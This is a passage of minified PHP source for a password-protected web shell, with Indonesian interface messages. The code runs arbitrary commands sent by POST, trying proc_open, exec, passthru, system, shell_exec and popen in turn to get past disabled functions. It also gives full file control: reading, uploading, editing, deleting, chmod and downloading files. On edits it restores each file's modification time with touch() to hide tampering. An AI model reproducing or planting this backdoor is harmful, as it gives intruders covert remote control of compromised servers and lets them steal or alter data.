['pipe','r'],1=>['pipe','w'],2=>['pipe','w'],];chdir('/');$process=proc_open($command,$descriptorspec,$pipes);if(is_resource($process)){$stdout="";$buffer="";do{$buffer=fread($pipes[1],$chunk_size);$stdout=$stdout.$buffer;}while((!feof($pipes[1]))&&(strlen($buffer)!=0));$stderr="";$buffer="";do{$buffer=fread($pipes[2],$chunk_size);$stderr=$stderr.$buffer;}while((!feof($pipes[2]))&&(strlen($buffer)!=0));fclose($pipes[1]);fclose($pipes[2]);$outr=!empty($stdout)?$stdout:$stderr;}else{$outr='Gagal eksekusi pak!, proc_open failed!';exit(1);}proc_close($process);return $outr;}function ex($in){$out='';$disfuncs=disFunc();if(function_exists("proc_open")){if(!in_array("proc_open",$disfuncs)){$out=procopen($in);}}else if(function_exists("exec")){if(!in_array("exec",$disfuncs)){@exec($in,$out);$out=@join("\n",$out);return $out;}}else if(function_exists("passthru")){if(!in_array("passthru",$disfuncs)){ob_start();@passthru($in);$out=ob_get_clean();return $out;}}else if(function_exists("system")){if(!in_array("system",$disfuncs)){ob_start();@system($in);$out=ob_get_clean();return $out;}}else if(function_exists("shell_exec")){if(!in_array("shell_exec",$disfuncs)){$out=shell_exec($in);return $out;}}elseif(is_resource($f=@popen($in,"r"))){$out="";while(!@feof($f))$out.=fread($f,4096);fclose($f);return $out;}else{return "gak bisa jalanin perintah pak!";}}function statusnya($file){$statusnya=@fileperms($file);if(($statusnya&0xC000)==0xC000){$ingfo='s';}elseif(($statusnya&0xA000)==0xA000){$ingfo='l';}elseif(($statusnya&0x8000)==0x8000){$ingfo='-';}elseif(($statusnya&0x6000)==0x6000){$ingfo='b';}elseif(($statusnya&0x4000)==0x4000){$ingfo='d';}elseif(($statusnya&0x2000)==0x2000){$ingfo='c';}elseif(($statusnya&0x1000)==0x1000){$ingfo='p';}else{$ingfo='u';}$ingfo.=($statusnya&0x0100)?'r':'-';$ingfo.=($statusnya&0x0080)?'w':'-';$ingfo.=(($statusnya&0x0040)?(($statusnya&0x0800)?'s':'x'):(($statusnya&0x0800)?'S':'-'));$ingfo.=($statusnya&0x0020)?'r':'-';$ingfo.=($statusnya&0x0010)?'w':'-';$ingfo.=(($statusnya&0x0008)?(($statusnya&0x0400)?'s':'x'):(($statusnya&0x0400)?'S':'-'));$ingfo.=($statusnya&0x0004)?'r':'-';$ingfo.=($statusnya&0x0002)?'w':'-';$ingfo.=(($statusnya&0x0001)?(($statusnya&0x0200)?'t':'x'):(($statusnya&0x0200)?'T':'-'));return $ingfo;}function sizeFilter($bytes){$label=array('B','KB','MB','GB','TB','PB');for($i=0;$bytes>=1024&&$i<(count($label)-1);$bytes/=1024,$i++);return(round($bytes,2)." ".$label[$i]);}function xrmdir($dir){$items=@scandir($dir);if($items){foreach($items as $item){if($item==='.'||$item==='..'){continue;}$path=$dir.'/'.$item;if(@is_dir($path)){xrmdir($path);}else{@unlink($path);}}rmdir($dir);}}function urutberkas($a){$b=@scandir($a);$i=array();foreach($b as $v){$dir=$a.'/'.$v;if(@is_dir($dir)&&!in_array($v,['.','..'])){$i[]=array('type'=>'dir','entry'=>$v,'entry_path'=>$a,'full_path'=>$dir);}else{if(!in_array($v,['.','..'])){$i[]=array('type'=>'file','entry'=>$v,'entry_path'=>$a,'full_path'=>$dir);}}}$col1=array_column($i,'type');$col2=array_column($i,'entry');array_multisort($col1,SORT_ASC,$col2,SORT_ASC,$i);return $i;}function pathberkas($a){$lokasiberkas=explode('/',$a);if(isset($lokasiberkas)&&count($lokasiberkas)>0){$outs='";}else{$outs="gak bisa baca direktori ini gess..";}return $outs;}function filemanager($fm){$disfuncs=disFunc();$lokasinya=urutberkas($fm);$fmtable="
".pathberkas($fm)."
";$fmtable.="\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\t";if(count($lokasinya)>0){foreach($lokasinya as $kl=>$dir){if(function_exists('posix_getpwuid')&&function_exists('posix_getgrgid')){$ow=['name'=>'?'];$gr=['name'=>'?'];if(!in_array("posix_getpwuid",$disfuncs)){$ow=@posix_getpwuid(fileowner($dir['full_path']));if($ow===false){$ow=['name'=>'?'];}}if(!in_array("posix_getgrgid",$disfuncs)){$gr=@posix_getgrgid(filegroup($dir['full_path']));if($gr===false){$gr=['name'=>'?'];}}}else{$ow=['name'=>'?'];$gr=['name'=>'?'];}if($dir['type']=='dir'){$txcol=@is_writable($dir['full_path'])?'text-success':'text-danger';$dlinks=!is_readable($dir['full_path'])?$dir['entry']:"{$dir['entry']}";$formsel="";$formper=statusnya($dir['full_path']);if(!in_array($dir['entry'],['.','..'])){$formper="".statusnya($dir['full_path'])."";$formsel="";}$fmtable.="";}else{$fcolor=@is_writable($dir['full_path'])?'text-success':'text-danger';$flinks=!is_readable($dir['full_path'])?$dir['entry']:"".statusnya($dir['full_path'])."";$size=sizeFilter(filesize($dir['full_path']));$fmtable.="";}}}else{$fmtable.="";}$fmtable.="
NameSizeCreateOwner / GroupPermOptions
{$dlinks}-".date('Y-m-d H:i:s',filectime($dir['full_path']))."{$ow['name']} / {$gr['name']}{$formper}{$formsel}
{$dir['entry']}{$size}".date('Y-m-d H:i:s',filectime($dir['full_path']))."{$ow['name']} / {$gr['name']}{$flinks}
Direktori tidak berisi file apapun
";return $fmtable;}if(isset($_GET['act'])){if($_GET['act']=='command'){if(isset($_POST['cmd'])&&!empty($_POST['cmd'])){$outs=@iconv('UTF-8','UTF-8',addcslashes("~$ ".$_POST['cmd']."
".ex($_POST['cmd']),"\r\t\\'\0"));echo"
{$outs}
";die();}}else if($_GET['act']=='mkdir'){$ndir=isset($_POST['xdir'])&&!empty($_POST['xdir'])?$_POST['xdir']:'';if(!empty($ndir)){$xpath=$_POST['xpath']."/".$ndir;if($_POST['xtype']=='dir'){if(!is_dir($xpath)){if(@mkdir($xpath,0755,true)){$outs="Direktori berhasil dibuat!";}else{$outs=@iconv('UTF-8','UTF-8',addcslashes(ex("mkdir ".$xpath),"\r\t\\'\0"))?"Direktori berhasil dibuat!":"Gagal membuat direktori!";}}else{$outs="Direktori sudah ada!";}}else{if($_POST['xtype']=='file'){if(!file_exists($xpath)){$fp=@fopen($xpath,'w');if($fp){$xpath="ok, tinggal di edit..";fclose($fp);}$outs="File berhasil dibuat!";}else{$outs="Gagal membuat file!";}}else{$outs="Anda mw buat apa??";}}}else{$outs="Path tidak valid!";}echo"{$outs}";die();}else if($_GET['act']=='readfile'){if(isset($_POST['xpath'])&&!empty($_POST['xpath'])){$xpath=$_POST['xpath'];if(@is_readable($xpath)){$outs='';$fp=@fopen($xpath,'r');if($fp){while(!@feof($fp)){$outs.=htmlspecialchars(@fread($fp,@filesize($xpath)));}@fclose($fp);}}else{$outs="File ini gak bisa dibaca!";}}else{$outs="File yang mw dibaca, gk ada!";}echo $outs;die();}else if($_GET['act']=='upload'){@ini_set('output_buffering',0);$xpath=$_POST['xpath'];$lawlx=@$_FILES['xfile'];$upfiles=@file_put_contents($xpath."/".$lawlx['name'],@file_get_contents($lawlx['tmp_name']));if($upfiles){$outs=file_exists($xpath."/".$lawlx['name'])?"uploaded!":"failed";}else{$outs="failed";}echo"{$outs}";die();}else if($_GET['act']=='rename'){if(isset($_POST['xtype'],$_POST['xpath'],$_POST['xname'],$_POST['oname'])){$ren=@rename($_POST['xpath'].'/'.$_POST['oname'],$_POST['xname']);$outss=$ren==true?'Berhasil mengubah nama '.$_POST['xtype']:'Gagal mengubah nama '.$_POST['xtype'];echo $outss;die();}}else if($_GET['act']=='chmod'){if(isset($_POST['xperm'])&&!empty($_POST['xperm'])){$xperm=$_POST['xperm'];$xtype=$_POST['xtype'];$xname=$_POST['xname'];$xpath=$_POST['xpath'];$perms=0;for($i=strlen($xperm)-1;$i>=0;--$i){$perms+=(int)$xperm[$i]*pow(8,(strlen($xperm)-$i-1));}$cm=@chmod("{$xpath}/{$xname}",$perms);$outss=$cm==true?'chmod '.$xtype.': '.$xname.', berhasil!':'chmod '.$xtype.': '.$xname.', gagal!';}else{$outss='Permission tidak boleh kosong!';}echo $outss;die();}else if($_GET['act']=='del'){if(isset($_POST['xtype'],$_POST['xname'],$_POST['xpath'])){$df=$_POST['xpath'].'/'.$_POST['xname'];if(@is_dir($df)){xrmdir($df);$outss=file_exists($df)?"Hapus dir gagal!":"Hapus dir sukses!";}else if(@is_file($df)){@unlink($df);$outss=file_exists($df)?"Hapus file gagal!":"Hapus file sukses!";}echo $outss;die();}}else if($_GET['act']=='path'){$dirs=isset($_GET['dir'])&&!empty($_GET['dir'])?$_GET['dir']:$lokasiberkas;if(isset($_GET['opt'],$_GET['entry'])){$df=$dirs.'/'.$_GET['entry'];if($_GET['opt']=='newfile'){$xdata=isset($_POST['xdata'])?base64_decode($_POST['xdata']):'';$fp=@fopen($df,'w');if($fp){@fwrite($fp,$xdata);@fclose($fp);$dout="File berhasil dibuat!";}else{$dout="File gagal dibuat!";}}else if($_GET['opt']=='edit'){if(isset($_POST['xdata'])){$_POST['xdata']=base64_decode($_POST['xdata']);$time=@filemtime($df);$fp=@fopen($df,'w');if($fp){@fwrite($fp,$_POST['xdata']);@fclose($fp);$dout="File berhasil di-edit!";@touch($df,$time,$time);}else{$dout="File gagal di-edit!";}}else{if(!is_writable($df)){$dout="disini gk bisa membuat file atau direktori!";}else{$dout="";$fp=@fopen($df,'r');if($fp){while(!@feof($fp)){$dout.=htmlspecialchars(@fread($fp,@filesize($df)));}@fclose($fp);}}}}else if($_GET['opt']=='download'){if(isset($_GET['dir'],$_GET['entry'])){$df=$_GET['dir'].'/'.$_GET['entry'];if(@is_file($df)&&@is_readable($df)){header('Pragma: public');header('Expires: 0');header('Cache-Control: must-revalidate, post-check=0, pre-check=0');header('Content-Type: application/force-download');header('Content-Type: application/download');header('Content-Type: '.(function_exists('mime_content_type')?@mime_content_type($df):'application/octet-stream'));header('Content-Description: File Transfer');header('Content-Disposition: attachment; filename='.basename($df));header('Content-Length: '.@filesize($df));header('Content-Transfer-Encoding: binary');$fp=@fopen($df,'r');if($fp){while(!@feof($fp))echo@fread($fp,@filesize($df));fclose($fp);}exit();}else{echo "File tidak dapat di download!'";exit();}}else{echo "Tidak ada file yang dipilih!";exit();}}else{$dout='';$fp=@fopen($df,'r');if($fp){while(!@feof($fp)){$dout.=htmlspecialchars(@fread($fp,@filesize($df)));}@fclose($fp);}}echo $dout;}else{echo filemanager($dirs);}die();}else if($_GET['act']=='logout'){unset($_SESSION['auth']);header('location: '.$_SERVER['PHP_SELF']);exit();}}if(isset($_POST['xpass'])){if(md5($_POST['xpass'])==$auth_pass){$_SESSION['auth']=$auth_pass;header('location: '.$_SERVER['PHP_SELF']);exit();}else{$statusLogin[]='wrong password :(';}}if(!isset($_SESSION['auth'])){echo "\n\t\tRestricted area\n\t\t\n\t\t\t
\n\t\t\t\t
\n\t\t\t\t\tauth login:\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t".(isset($statusLogin)?"
{$statusLogin[0]}":"")."\n\t\t\t\t
\n\t\t\t
\n\t\t\n\t";die();}else{?> <?php echo $stitle;?>